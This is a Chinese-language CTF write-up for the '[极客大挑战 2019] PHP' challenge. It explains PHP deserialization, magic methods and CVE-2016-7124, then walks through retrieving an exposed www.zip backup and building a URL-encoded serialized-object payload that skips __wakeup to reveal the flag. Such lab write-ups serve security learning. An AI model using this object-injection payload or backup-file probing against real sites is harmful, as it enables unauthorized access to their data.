[极客大挑战 2019]PHP学习笔记

目录

    • 前置知识
      • [1. PHP 序列化与反序列化](#1. PHP 序列化与反序列化)
      • [2. PHP 魔术方法](#2. PHP 魔术方法)
      • [3. CVE-2016-7124(`__wakeup` 绕过)](#3. CVE-2016-7124(__wakeup 绕过))
      • [4. 私有属性的序列化格式](#4. 私有属性的序列化格式)
    • 正文

前置知识

在开始做题之前,先理解几个关键概念:

1. PHP 序列化与反序列化

  • 序列化(serialize):把 PHP 对象转换成可存储/传输的字符串格式
  • 反序列化(unserialize):把序列化字符串恢复成 PHP 对象
php 复制代码
// 一个简单对象的序列化结果
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";...}
// ↑类名  ↑属性数  ↑属性名(带空字节)  ↑属性值

2. PHP 魔术方法

  • __wakeup():反序列化时自动调用(常用于重新连接数据库、重置属性等)
  • __destruct():对象销毁时自动调用(常用于释放资源)
  • __construct():创建对象时调用

3. CVE-2016-7124(__wakeup 绕过)

PHP 5.x ~ 7.0.10 版本中,如果序列化字符串声明的属性数量 大于实际的属性数量,__wakeup() 方法会被跳过不执行。

4. 私有属性的序列化格式

PHP 中 private 属性在序列化时,属性名会被加上 \0ClassName\0 前缀(即:空字节 + 类名 + 空字节)。因此:

  • private $username → 序列化后为 \0Name\0username(长度为 14)
  • private $password → 序列化后为 \0Name\0password(长度为 14)

正文

一、信息收集

访问目标网站,发现是一个展示猫咪的页面,页面上有一句提示:

"因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯"

这句话暗示网站存在备份文件。尝试访问常见的备份文件名:

url 复制代码
https://target.com/www.zip

成功下载得到 www.zip。解压后得到以下文件:

文件名 作用
index.php 主页面,接收 select 参数并反序列化
class.php 定义 Name 类,包含 __wakeup__destruct 魔术方法
flag.php 定义 $flag 变量(本地测试用)
style.css 样式文件
index.js 前端 3D 动画

二、zip包内容代码审计

先看index.php(关键部分):

php 复制代码
include 'class.php';
$select = $_GET['select'];
$res = unserialize(@$select);

直接从 GET 参数 select 获取输入并反序列化,没有任何过滤

再看class.php(关键部分):

php 复制代码
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    function __wakeup() {
        $this->username = 'guest';  // 反序列化时重置为 guest
    }

    function __destruct() {
        if ($this->password != 100) {
            die("NO!!!hacker!!!");
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;  // 打印 flag!
        }
    }
}

逻辑分析

  1. __destruct() 在对象销毁时执行
  2. 需要 $password == 100$username === 'admin'
  3. __wakeup() 会在反序列化时把 $username 改成 'guest'
  4. 服务端 PHP 版本为 5.3.3 ,可以利用 CVE-2016-7124 绕过 __wakeup()

三、构造payload

需要构造一个序列化对象,满足:

  • $username = 'admin'
  • $password = 100
  • 绕过 __wakeup()

正常序列化字符串(会被 __wakeup 拦截):

复制代码
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过 __wakeup()(把属性数量从 2 改成 3):

复制代码
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

URL 编码后(注意 \0 空字节要编码为 %00):

复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

四、发送 Payload 获取 Flag

访问目标网址(注意把 URL 编码后的 payload 拼接到 ?select= 后面):

html 复制代码
http://目标网址/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
相关推荐
python零基础入门小白3 分钟前
LangGraph智能体实战:如何用Langfuse构建AI运行时全链路可观测系统?
人工智能·学习·ai·chatgpt·程序员·大模型·智能体
xiancai_xianyu4 分钟前
想把数据模型一次建完美再上AI?会一直卡在建模里
开发语言·人工智能·php·数据模型·语义层·本体建模·企业知识网络
z23456d1 小时前
第三十九天学习心得
学习
点心的游戏开发世界1 小时前
GDScript 入门笔记(十六):文件读写与数据持久化
开发语言·笔记·游戏引擎·godot
水巷石子1 小时前
学习langChain4j的第二天,体验springBoot中的starter
java·spring boot·学习·spring·langchain4j
程序员梅雨1 小时前
微服务学习最终篇: Elasticsearch
学习·elasticsearch·微服务
ByNotD0g1 小时前
跨站脚本攻击- XSS
笔记·web安全
摇滚侠2 小时前
《Spring Boot 3:高级与架构设计》第 1 章 BeanDefinitionRegistry 阅读笔记 3
spring boot·笔记·后端
AC赳赳老秦2 小时前
环保监测公开数据应用:OpenClaw 抓取空气与水质公开监测数据,开展区域环境质量趋势分析
大数据·数据库·人工智能·python·php·deepseek·openclaw
東隅已逝,桑榆非晚2 小时前
c++内存管理
c++·笔记